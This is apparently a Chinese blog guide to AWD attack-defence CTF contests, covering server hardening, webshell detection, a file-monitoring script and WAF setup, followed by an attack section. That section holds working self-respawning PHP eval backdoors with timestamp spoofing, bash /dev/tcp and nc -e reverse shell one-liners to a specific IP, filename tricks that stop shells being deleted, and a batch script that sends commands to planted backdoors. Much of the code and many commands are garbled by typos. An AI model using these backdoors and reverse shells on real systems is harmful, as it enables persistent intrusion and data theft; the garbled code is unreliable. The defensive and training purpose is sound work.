AWD简单介绍:
AWD:Attack With Defence,即攻防对抗,比赛中每个队伍维护多台服务器(一般两三台,视小组参赛人数而定),服务器中存在多个漏洞(web层、系统层、中间件层等),利用漏洞攻击其他队伍可以进行得分,加固时间段可自行发现漏洞对服务器进行加固,避免被其他队伍攻击失分。
一、防御加固
1、Linux基本命令
1、文件备份-----------------
cat /etc/passwdpasswd.txt 备份basswdi文件
cat /etc/shadow shadow.txt 备份shadow.文件
netstat -anp netstat_anp.txt 备份当前网络连接
cp /bash history history.txt 备份历史命令
w users.txt 备份用户登录信息
ps aux ps.txt备份进程信自
2、用户信息分析--------------------
whoami 查看当前用户
who 查看当前登录系统的所有用户
w 显示登陆系统的用户列表,显示正在执行的指令
users 显示当前登录系统的所有用户的用户
last 查看最近登录成功的用户及信息
cat/etc/passwd 查看用户信息
3、进程信息分析---------------------------
top 动态查看进程
Isof-p pid 查看PID为xxx的进程打开的文件
Isof -c sshd 查看进程sshd打开的文件
Isof -i:port 查看端口对应的一些进程
netstat -pantu grep pid查看网络连接情况,通过过滤pid查看连接的端口
fuser -n tcp port 查看端口对应的进程pid
4、进程信息分析---------------------------
ps aux 查看进程
pstree 查看进程树
ps aux --sort -pcpu 查看进程,根据cpu使用从高到低
ps aux --sort -pmem 查看进程,根据内存使用从高到低
5、网络连接分析---------------------------
netstat -an 打印Linux中网络系统的状态信息
netstat -nat | awk '{print $6}'|sort | unig -c|sort -rn 查看TCP连接状态
6、异常文件分析---------------------------
find /var/-type f -mtime -3 | xargs ls -la 查看指定目录最近被修改的文件
find./ -mtime 0 -name "*.php" 查找24h内被修改的文件
find./ -ctime -2 -name "'*php" 查找72h查找72h内新增的
find./ -iname "*.php"-perm 777 权限查找
7、定时任务分析---------------------------
cat /etc/crontab
8、其他-----------------------------
netstat ps 查看端口与服务 与外连接情况
ps 端口和服务
passwd username //ssh口令修改
grep -r "flag" /var/www/html/ //Linux:在Web目录下查找flag
findstr /s /i "flag" *.* //Windows:当前目录以及所有子目录下的所有文件中查找"flag"这个字符串
2、WEB加固
1、网站后台密码
后台修改 //系统设置
数据库修改
如:
网站后台存在user这个表、网站账号admin账号、密码为123456
mysql -u root p 先登录mysql
select * form user;
update USER set password="147258" where id="admin";
set password for mycms@localhost = password('18ciweufhi28746'); //MySQL密码修改
find /var/www//html -path '*config*’ //查找配置文件中的密码凭证
查看是否留有后门账户 cat /etc/passwd
2、web网站-数据库备份
1、
tar-zcvf web.tar.gz web/ #压缩名.tar文件/目录
权限有问题的话,在当前目录用此命令
tar -zcvf web.tar #所有文件打包
shell进行下载进行代码审计
2、
压缩源码:
tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html
解压缩源码:
tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html
备份源码:
mv web.tar /tmp
mv web.zip /home/xxx
上传和下载源:
scp username@servername:/path/filename /tmp/local_destination //从服务器下载单个文件到本地
scp /path/local_filename username@servername:/path //从本地上传单个文件到服务器
scp -r username@servername:remote_dir/ /tmp/local_dir //从服务器下载整个目录到本地
scp -r /tmp/local_dir username@servername:remote_dir //从本地上传整个目录到服务器
1、寻找配置文件
通常在名为config.php 一类的文件中存放了数据库的账号密码
2、mysql数据库登录
mysql -u root p
3、备份目标数据库
mysqldump -u root -p --databases test /tmp/db.sql
--------------------------------------------------------------------
备份指定数据库:
mysqldump –u username –p password databasename > target.sql
备份所有数据库:
mysqldump –all -databases > all.sql
信息数据库:
mysql –u username –p password database < from.sql
后门查杀-webshell-不死马
1、通过命令查看可疑文件
find /var/www/html -name*.php -mmin -20 #查看最近20分钟修改文件
find./ -name *.php'| xargs wc-l |sort-u #寻找行数最短文件
grep -r --include=*.php '[a-z]eval($_POST' /var/www/html #查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval ("more
find . -name '*.php' | xargs grep -n 'eval('
find . -name '*.php' | xargs grep -n 'assert('
find . -name '*.php' | xargs grep -n 'system('
2、webshell查杀工具
河马
D盾
3、后门用户查杀
U1D大于500的都是非系统账号,500以下的都为系统保留的账号
userdel -r username
4、杀弹反弹shell
老规矩查看进程
ps -ef
px -aux
ps -aux | grep www-data
注意www-data权限/bin/sh,最重要的是
kill ps -aux | grep www-data | grep apache2 | awk '{print $2}'
5、不死马删除
ps aux grep www-data 查看进程
kill-9 pid 清除进程
5.1命令清除不死马
ps aux grep www-data awk '{print $2}'xargs kill-9
ps aux列出进程信息
grep www-data在进程信息中匹配目标
awk'{print2}'提取pid
xargs kill-9将pid作为参数传递给kill-9
5.2条件竞争清除
通过不断的向不死马中写入数据达到覆盖的效果
条件竞争
<?php
set_time_limit(o);
ignore_user_abort(true);
unlink(_FILE_);
while(1)
{
file_put_contents('./shell.php','11111');
usleep(o);
}
?>
5.3通过脚本方式
#!/bin/bash
while true;do rm -rf shell.php done
5.4创建一个和不死马生成的木马一样名字的文件夹
#!/bin/bash
dire="/var/www/html/.shell.php/"
file="/var/www/html/.shell.php"
rm -rf sfile
mkdir $dire
5.5可以通过不断复写shell.php来达到该木马难以使用的效果
利用:
192.168.10.2:80/.config.php //输入网址,会自行创建
POST cmd=ls
GET cmd=system("ls");
5.6删除不死马
创建一个killbusima.php
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(FILE_);
$file ='config.php';
$c0de='<7 php ech0"111111111111111111111"?>';
while (1){
file_put_contents($file,$code);
/system('touch-m-d"2018-12-0109:10:12",1.php');
//usleep(1000);
usleep(0);
}
?>
5.7上脚本删除 github项目很多
6、清除反弹shell
ps aux grep www-data 查看进程
清除进程
kill ps -aux grep www-dataa
awk '{print $2}'
3、日志分析-WAF-文件监控
目的:了解运行情况、发生的安全事件、分析取证、payload反制
3.1文件监控
1、文件监控
备份运行文件监控脚本前所有文件
删除新增非自用文件
记录新增文件
知晓文件变动历史
防止别人恶意写入不死马,迅速恢复被修改的源码
2、文件监控可以对web目录进行监控,发现新上传文件或者文件被修改立即恢复,这样可以防止上传shell等攻击:
# -*- coding: utf-8 -*-
#use: python file_check.py ./
import os
import hashlib
import shutil
import ntpath
import time
CWD = os.getcwd()
FILE_MD5_DICT = {} # 文件MD5字典
ORIGIN_FILE_LIST = []
# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'
Special_string = 'drops_log' # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"
# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}
def isListLike(value):
return isinstance(value, (list, tuple, set))
# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):
if noneToNull and value is None:
return NULL
if isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value
if isinstance(value, unicode):
return value
elif isinstance(value, basestring):
while True:
try:
return unicode(value, encoding or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
try:
return unicode(value, UNICODE_ENCODING)
except:
value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
else:
try:
return unicode(value)
except UnicodeDecodeError:
return unicode(str(value), errors="ignore")
# 目录创建
def mkdir_p(path):
import errno
try:
os.makedirs(path)
except OSError as exc:
if exc.errno == errno.EEXIST and os.path.isdir(path):
pass
else: raise
# 获取当前所有文件路径
def getfilelist(cwd):
filelist = []
for root,subdirs, files in os.walk(cwd):
for filepath in files:
originalfile = os.path.join(root, filepath)
if Special_path_str not in originalfile:
filelist.append(originalfile)
return filelist
# 计算机文件MD5值
def calcMD5(filepath):
try:
with open(filepath,'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
return hash
except Exception, e:
print u'[!] getmd5_error : ' + getUnicode(filepath)
print getUnicode(e)
try:
ORIGIN_FILE_LIST.remove(filepath)
FILE_MD5_DICT.pop(filepath, None)
except KeyError, e:
pass
# 获取所有文件MD5
def getfilemd5dict(filelist = []):
filemd5dict = {}
for ori_file in filelist:
if Special_path_str not in ori_file:
md5 = calcMD5(os.path.realpath(ori_file))
if md5:
filemd5dict[ori_file] = md5
return filemd5dict
# 备份所有文件
def backup_file(filelist=[]):
# if len(os.listdir(Special_path['bak'])) == 0:
for filepath in filelist:
if Special_path_str not in filepath:
shutil.copy2(filepath, Special_path['bak'])
if __name__ == '__main__':
print u'---------start------------'
for value in Special_path:
mkdir_p(Special_path[value])
# 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
print u'[*] pre work end!'
while True:
file_list = getfilelist(CWD)
# 移除新上传文件
diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
if len(diff_file_list) != 0:
# import pdb;pdb.set_trace()
for filepath in diff_file_list:
try:
f = open(filepath, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] webshell find : ' + getUnicode(filepath)
shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : file move error: ' + getUnicode(e)
# 防止任意文件被修改,还原被修改文件
md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
for filekey in md5_dict:
if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
try:
f = open(filekey, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] file had be change : ' + getUnicode(filekey)
shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : done_diff: ' + getUnicode(filekey)
pass
time.sleep(2)
# print '[*] ' + getUnicode(time.ctime())
3.2日志分析
流量监控实现反打 重点---------------
大型比赛的AWD竞赛都会提供流量包文件供选手查看,通过流量包可以审计出一些pay|oad,通过流量可以迅速进行批量反打。如果主办方不提供流量包,可以对网站入口文件挂上记录日志的文件,从而浏览记录下来的流量。
部署在网站目录,或者加在网站源码中。保存为txt,以供分析。
<?php
date_default_timezone_set('Asia/Shanghai');
$ip = $_SERVER["REMOTE_ADDR"]; /记录访问者的ip
$filename = $_SERVER['PHP_SELF]; /访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"]; /访问者要请求的参数
$time = date('Y-m-d H:i:s',time()); /访问时间
$logadd = '来访时间:'.$time.'-->'.'访问链接:'.'http://'.$ip.$filename.'?.$parameter."\r\n";
Iog记录
$fh fopen("log.txt","a");
fwrite($fh,$logadd);
fclose($fh);
?>
网站日志存放位置:
/var/log/apache2/
/usr/local/apache2/logs
/usr/nginx/logs/
GITHUB项目:
3.3WAF部署
使用方法:
1.将waf.php传到要包含的文件的目录
2.在页面中加入防护,有两种做法,根据情况二选一即可:
a).在所需要防护的页面加入代码
require_once('waf.php');
就可以做到页面防注入、跨站
如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php中!
添加require_once('waf.php');来调用本代码
常用php系统添加文件
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2 \config\config_global.php
Wordpress \wp-config.php
Metinfo \include\head.php
b).在每个文件最前加上代码
在php.ini中找到:
Automatically add files before or after any PHP document.
auto_prepend_file = 360_safe3.php路径;
需要注意的是,部署waf可能会导致服务不可用,需要谨慎部署。
waf的作用:
最重要是分析流量,别人攻击我们的时候,我们可以看到别人的攻击方式。这样的话即使我们找 不到攻击点,非常苦恼的时候,我们就可以分析流量,使用别人的攻击方式。
可以直接进行防御,类似于一台防火墙(一般的比赛是不允许使用的,毕竟比赛时间短,就根本绕不过去waf,那比赛就没意思了)
有些比赛是不允许上通用waf的,check机制可能会check到waf过滤的参数,导致宕机,waf部署需要谨慎,还需要注意的是:上完waf检查服务是否可用,部分检查允许使用部分小的waf,会检查页面完整性、服务完整性。
常用的waf使用方法,是用你要保护的文件去包含这个waf.php。比如说,你要保护select.php,那么你就在select.php里面写上一行include './waf.php'或者 require_once('waf.php');
如果你要保护所有文件,那么就在config这种配置文件里包含waf,因为这种config的文件,一般会被大部分功能页面调用
网上很多waf脚本,这里介绍几个waf项目
1.AWD_PHP_WAF
项目地址:GitHub - NonupleBroken/AWD_PHP_WAF: a PHP WAF for AWD
使用方法:
使用前先修改config.php内的密码,密码使用sha256加密
上waf:
$ find . -path ./waffffff -prune -o -type f -name "*.php" -print | xargs sed -i "s/<?php/<?php include_once(\"\/var\/www\/html\/waffffff\/waf.php\");/g"
下waf:
$ find . -path ./waffffff -prune -o -type f -name "*.php" -print | xargs sed -i "s/<?php include_once(\"\/var\/www\/html\/waffffff\/waf.php\");/<?php/g"
比如访问 web 目录下的/waffffff/admin.php?password=123456
2.CTF-WAF
项目地址:GitHub - sharpleung/CTF-WAF: 针对CTF线下赛的通用WAF,带流量转发,日志审计功能。
3.awd-watchbird
这是个通防waf,支持流量转发和替换flag
项目地址:GitHub - leohearts/awd-watchbird: A powerful PHP WAF for AWD
1.打包好好之后直接上传到html目录下,回到终端,在上传的waf目录下,使用命令
php watchbird.php --install /var/www/html
这样就能使每个页面的php代码包含到waf下
2.运行waf 之后,打开我们的web 页面,在任意一个php 页面后面输入?watchbird=ui,就会进入到waf 配置页面然后设置密码(注意:第一次打开需要设置密码)
3.配置好之后就能进入内部网页
4.AoiAWD
项目地址:GitHub - DasSecurity-HatLab/AoiAWD: AoiAWD-专为比赛设计,便携性好,低权限运行的EDR系统。
使用方法:AoiAWD-萌新的得分利器
下载好,自己去编译或者找编译好的直接用
文件寻找
1、寻找配置文件
find -name "nginx.conf" #定位nginx目录
find /-path "*nginx*"-name nginx*conf #定位nginx配置目录
find /-name "httpd.conf" #定位apache目录
find /-name "index.php" #定位网站目录
2、寻找日志文件
/var/log/nginx/ #默认Nginx日志目录
/var/log/apache/ #默认Apache日志目录
/var/log/apache2/ #默认Apache日志目录
/usr/Ioca|/tomcat/logs #Tomcat日志目录
tail-f xxx.log #实时刷新滚动日志文件
4、PHP加固=PHP参数配置
首先找到PHP的配置文件
/etc/php/{version}/php.ini
禁用高危函数
disable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link
配置open_basedir(将用户访问文件范围限制在指定的区域)
open_basedir=/var/www/html
禁用魔术引号(自动对外部来源数据进行转义,防止SQL注入)
magic_quotes_gpc = Off
关闭PHP伪协议
allow_url_fopen = Off
allow_url_include = Off
重新PHP
sudo service php7.0-fpm restart
sudo systemctl restart php7.0-fpm.service
配置.htaccess
使用.htaccess配置文件禁止执行php文件
<Directory "/var/www/html/upload"> //指定目录后续的指令将应用于该目录
Options -ExecCGI -Indexes //禁用了目录中的 CGI 执行和目录索引(显示目录内容列表)功能。
AllowOverride None //不允许在该目录中使用 .htaccess 文件来覆盖服务器的配置。
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
//这两个指令移除指定文件扩展名的处理器和类型。
//在这种情况下,这些指令从 Apache 的处理列表中移除了与 PHP 相关的扩展名和服务器端包含(SSI)文件类型。
php_flag engine off //这个指令将 PHP 的引擎标志(engine)设置为关闭状态,从而禁用了在该目录中执行 PHP
</Directory>
5、漏洞修复
1、已知webshell
直接注释、或者删除即可
2、TOP10漏洞修复
1、SQL注入
1、基于黑名单
Sblacklist=
"regexp|from|count|procedureland|asciisubstr|substring|left|right |union|if|caselpowl expl
order |sleep|benchmark|intolload|outfilel dumpfilelload_filel join |showlselect |updatelset|co
ncat deletel alter |insert createlunion|or|dropnot|for|join is between group_concat|likelw
hereluserlasciilgreatestlmid substr|left|right |char |hexlord|casellimit|conv|tablelmysq1_h
istorylflagl count I rpad&*.|-";
if((preg_match("/".$blacklist."/is",$a)==1)(preg_match("/".$blacklist."/is",$b)==1)){die();
2、命令执行
1、调用函数进行参数过滤
<?php
$a=$_GET['cc'];
Ssangfor
"eval|assert|passthru|pcnt1_exec|exec|system|escapeshellcmd|popen|chroot|scandir|chgrp|ch
own|shel1_execlproc_open|proc_get_status|ob_start";
if(preg_match("/".$sangfor."/is",$cc)==1){
die();
$bb="phpinfo()";
call_user_func($cc,$bb);
?>
2、禁用函数
disable_functions=call_user_func,call_user_func_array,array_map,array_filter,ob_start,php
info,eval,assert,passthru,pcnt1_exec,exec,system,escapeshellcmd,popen,chroot,scandir,chgr
p,chown,shel1_exec
3、反序列化
1、PHP7.0特性为unserialize()提供过滤
<php
//将所有的对象都转换为_PHP_Incomp1ete_c1ass对象
$data unserialize($foo,["allowed_classes"=>false]);
//将除Myc1ass和Myc1ass2之外的所有对象都转换为_PHP_Incomp1ete_c1ass对象
$data unserialize($foo,["allowed_classes"=>["Myclass","Myclass2"]);
//默认情况下所有的类都是可接受的,等同于省略第二个参数
$data unserialize($foo,["allowed_classes"=true]);
?>
2、限制phar拓展php反序列化
$blacklist "phar|zip|compress.bzip2|compress.zlib|compress.bzip2";
if(preg_match("/".$blacklist."/is",$a)==1){
die();
}
4、文件上传
#修复参考:
严格限制上传的文件路径
文件扩展名服务端白名单校验
文件内容服务端校验
上传文件重命名
隐藏上传文件路径
限制相关上传文件目录的执行权限
前后端都对文件类型进行验证
1、后端代码限制上传的文件类型(类型&后缀)和大小
if (($_FILES["Up10defile"]["type"]=="image/gif")&&(substr($_FILES["Up10defile"]["name"],
strrpos($_FILES ["Up10defile"]["name"],'.')+1))=='gif')&&($_FILES["file"]["size"]
<1024000){
else{
die();
}
2、强制给上传的文件添加后缀名,在不存在文件包含漏洞的情况下,该方法能最有效的防御攻击者上传执行木马
if (file_exists("upload_file/". $_FILES["Up10defile"]["name"])){
echo $_FILES["Up10defile"]["name"].already exists.";
else{
move_uploaded_file($_FILES["Upl0defile"]["tmp_name"],
"upload_file/". $_FILES["Up1odefile"]["name"].".gif");
echo "Stored in: "."upload_file/" .$_FILES["Up10defile"]["name"].".gif";
}
文件包含
本地文件包含路径限制
$filename $_GET['filename']
$pattern ="\/.\.\/\.\/|etc|var|php|jpg|jpeg|png|bmp|gif";
if(preg_match("/".$pattern."/is",$filename)==1){
echo"die00000000000000000000000000000";
die();
}
include($filename);
原则:
-
能修复的尽量修复;
-
不能修复的先注释源码,不影响页面显示再删除;
-
站点和对应的功能尽可能不宕机;
二、攻击
1、信息收集
## 一般比赛都会给定ip列表,给出相应的网段地址,选手可以根据ip列表去生成靶机列表。如果主办方不出具ip列表,可以使用nmap或者其他工具扫描对应网段,获取靶机ip。发现对方靶机服务
一、主机识别
1、nmap扫端口
nmap-sP 192.168.1.1/24 #扫描c段主机
nmap-sV 1.1.1.1-p1-65535 #探测端口的服务
nmap -sS -p 80,8080,3306 192.168.1.1/24 #扫描c段下的主机端口是否开放
主机探测:一般使用Nmap进行主机探测,探测范围为自己主机的C段
存活探测:nmap-sS 10.16.10.0/24 -sn 也可以
端口探测:nmap 10.16.10.19 -p 1-65535
2、目标识别脚本
import requests
for x in range(2,255):
url = "http://192.168.1.{}".format(x)
try:
r = requests.post(url)
print(url)
except:
pass
3、gorailgunr
填好ip端口信息即可,支持导出CSV,然后进行筛选
二、服务探测:
使用Nmap、Dirsearch和WEB指纹识别工具,获取靶机的开发语言,系统名称及版本等。还可以使用其他相应工具、和脚本,cms识别、目录扫描、各种安全工具安排上
2、攻击方式
1、提前准备:
漏洞库 、cms版本、中间件、框架漏洞、各种POC\EXP、各种漏扫项目、马子等等
2、攻击Web服务
-
代码审计 //使用D盾、Seay源代码审计系统
-
历史漏洞 //查看CMS针对性攻击 /使用扫描器进行探测
-
手工测试 TOP10漏洞 /比赛较多cms框架漏洞、弱口令、命令执行、sql注入、服务漏洞等等
-
sql注入漏洞
—sql-shell
执行select load_file(‘/flag’);
即可得到flag -
文件包含漏洞,通过
../../../../../../flag
的方式获取flag -
RCE漏洞有GET/POST根据情况而定 写payload
-
弱口令进入后台写shell等等
3、漏扫项目:
XRAY、GOBY、Pocsuite3、漏洞库EXP、POC-bomber-main、wapiti3等等工具 如下:
1、wapiti3 支持大部分漏洞 地址:GitHub - wapiti-scanner/wapiti: Web vulnerability scanner written in Python3
安装:pip install wapiti3
使用:wapiti3 -u http://xxxx.xx // -l 1 测试等级
2、POC-bomber-main 地址:GitHub - tr0uble-mAker/POC-bomber: 利用大量高威胁poc/exp快速获取目标权限,用于渗透和红队快速打点
安装:git clone https://github.com/tr0uble-mAker/POC-bomber.git cd POC-bomber pip install -r requirements.txt
使用:python3 pocbomber.py -u http://xxx.xxx //验证模式
python3 pocbomber.py -u http://xxx.xxx --poc="thinkphp2_rce.py" --attack //攻击模式
#### 4、关于已知后门利用
1、webshell工具查看 //较慢
2、浏览器打开 get/POST
3、脚本批量化
3、权限维持
3.1不死马
创建一个.config.php的文件写入不死马,带.的意义为可以隐藏,不容易被发现
1、第一种:
<?php
set_time_limit(0); //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1); //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将后台运行
unlink(__FILE__); //删除自身
while(1)
{
file_put_contents('.config.php','<?php @eval($_POST["cmd"]);?>'); //创建.config.php
sleep(100); //间隔时间100毫秒
}
防御:
可以通过不断复写shell.php来达到该木马难以使用的效果
利用:
192.168.10.2:80/.config.php //输入网址,会自行创建
POST cmd=ls
GET cmd=system("ls");
删除不死马
创建一个killbusima.php
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(FILE_);
$file ='config.php';
$c0de='<7 php ech0"111111111111111111111"?>';
while (1){
file_put_contents($file,$code);
/system('touch-m-d"2018-12-0109:10:12",1.php');
//usleep(1000);
usleep(0);
}
?>
不死马示例:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php if(md5($_POST["passwd"])=="6daf17e539bf44591fad8c81b4a293d7"){@eval($_REQUEST['cmd']);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" shell2.php');
usleep(5000);
}
?>
#passwd=y0range857
#POST传参:passwd=y0range857&a=system('ls');
将这个文件上传到服务器,然后进行访问,会在该路径下一直生成一个名字为shell2.php的shell文件,然后使用caidao输入http://xxx/shell2.php?pass=pass的路径,密码为a就可以链接一句话,由于pass是md5加密很难被破解也可以做到隐蔽,md5值可以随意定义。
写入shell, at.php内容
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '/admin/.register.php';
$code = '<?php if(md5($_GET["passwd"])=="6daf17e539bf44591fad8c81b4a293d7"){@eval($_REQUEST["at"]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .login.php');
file_put_contents($file1,$code);
system('touch -m -d "2018-12-01 09:10:12" /admin/.register.php');
usleep(5000);
}
?>
浏览器访问at.php,会生成不死马at2.php
url/upload/at.php
再传入,执行命令,getshell
url/upload/at2.php?passwd=obse007&at=system('ls');
3.2反弹shell
1、利用一:nc反弹shell
bash-i>&/dev/tcp/192.168.182.130/66660>&1
bash -i >& /dev/tcp/192.168.182.130/6666 0>&1
本地
nc -l -p 6666
2、利用二:定时任务反弹shell
bash -c bash'bash -i >& /dev/tcp/[ip]/[port] 0>&1'
nc -e /bin/bash 1.3.3.7 4444 bash
3、清除:
ps aux grep www-data 查看进程
kill ps -aux grep www-dataa
awk '{print $2}'
利用预留后门上传上面的php文件并访问,就可以用nc反弹shell,之后就可以一直得分了
3.3写隐藏webshell
隐藏shell
shell很容易被发现,被删除就gg了,可以采用一些操作隐藏shell或使shell无法被删除
1.把shell.php命名为.shell.php
.shell.php在执行ls时无法被查看到,搭配ls的参数才能被发现
完整命令如下
mv shell.php .shell.php
ls -al
.shell.php
2.把shell.php命名为-shell.php
从上面可以看出,ls加参数才能查看到shell,那么我们直接写一个-shell.php、
命令行会把-后面的内容当成参数执行,执行即使被发现,使用rm命令进行删除,会被当成是rm的参数,就会发生报错,无法删除shell,目的也达到了
完整命令如下
[sss@ecs-centos-7 awd]$ ls
-shell.php
[sss@ecs-centos-7 awd]$ rm -shell.php
rm:无效选项 -- s
Try 'rm ./-shell.php' to remove the file "-shell.php".
Try 'rm --help' for more information.
[sss@ecs-centos-7 awd]$ rm -rf -shell.php
rm:无效选项 -- s
Try 'rm ./-shell.php' to remove the file "-shell.php".
Try 'rm --help' for more information.
4、权限提升
涉及加固等环节可能因为权限问题需要提权,收集提权POC 直接本地提权即可
Linux提权
查询系统版本信息命令:
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
查询内核版本信息:
uname -a
uname -mrs
cat /proc/version
cat /etc/issue
lsb_release -a
hostnamectl
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz
查看系统环境变量:
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
查看语言环境信息命令:
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
set
查看文件上传环境信息命令:
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
参考漏洞
CVE-2023-0386(Linux OverlayFS权限提升漏洞)
CVE-2021-4034(Linux Polkit本地权限提升漏洞)
CVE-2017-6074(DCCP双重释放漏洞 > 2.6.18)
CVE-2016-5195(脏牛,内核 2.6.22 < 3.9 (x86/x64))
CVE-2016-8655(Ubuntu 12.04、14.04,Debian 7、8)
CVE-2017-1000367(sudo本地提权漏洞)
CVE-2016-1247(Nginx权限提升漏洞)
CVE-2017-16995(Ubuntu16.04内核:4.14-4.4)
地址:
http://www.exploit-db.com
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/tree/main
5、快速攻击AAAAAA
在AWD中通常需要批量化进行攻击和fIag提交,此时通常使用Python脚本进行实
现,需要一定的编程基础。
1、后门webshell py
import requests
# 假设ip.txt文件包含以下内容:
# http://example.com
# http://anotherexample.com
# 读取ip.txt文件中的URL列表
with open('ip.txt', 'r') as u:
urls = u.readlines()
# 遍历URL列表
for url in urls:
# 移除URL末尾的换行符
url = url.strip()
# 构造完整的URL,这里假设我们要访问的路径是'/public/123.php'
full_url = url + '/public/123.php'
# 准备POST请求的数据
data = {'c': 'systen('cat /flag')'} # 这里应该根据实际情况来设置数据
try:
# 发送POST请求
response = requests.post(full_url, data=data)
# 检查响应状态码
if response.status_code == 200:
# 打印响应内容
print(response.text)
else:
print(f"Request failed with status code {response.status_code}")
except requests.exceptions.RequestException as e:
# 打印请求异常信息
print(f"An error occurred: {e}")
三、全局工作
1、准备工作
SSH/FTP远程连接、主机发现软件、常规漏扫软件、内存马/webshell(纯/图片)/软连接马、批量攻击框架(全场利用)、日志脚本/WAF、webshll查杀工具(D盾/河马)
2、前期
1、网站备份、修改默认口令
2、修复漏洞(D盾(已知webshell/网站漏洞))
3、是否上WAF/上传日志分析脚本(文件监控)
4、主机发现
5、漏洞利用(已知webshell) 手工/脚本批量
6、权限维持
3、中期
1、漏洞挖掘(代码审计/工具/手工测试)
2、日志分析(获取攻击方式反制)=漏洞持续修复
3、删除沦陷主机的马(webshell/内存马等等)
4、中后期
1、权限维持(上传不死马等等)
2、防守(加固/删除马)
5、赛后复盘
6、注意点
1.预留后门的权限维持
2.AWD一般使用cms,多准备cms的POC和EXP。
3.防守注意查看日志看别人是怎么攻击自己的,然后尝试攻击其他人。
4.检查后门,网站上没有d盾可以扫出来的后门,检查计划任务或者可疑进程等等。
5.比赛一轮10-20几分钟,时间紧张,提高自己的代码审计、自动化脚本的编写能力,实现自动化攻击。
四、AWD附件
AWD比赛脚本等等资源,联系博主!
参考了互联网各大文章视频等等。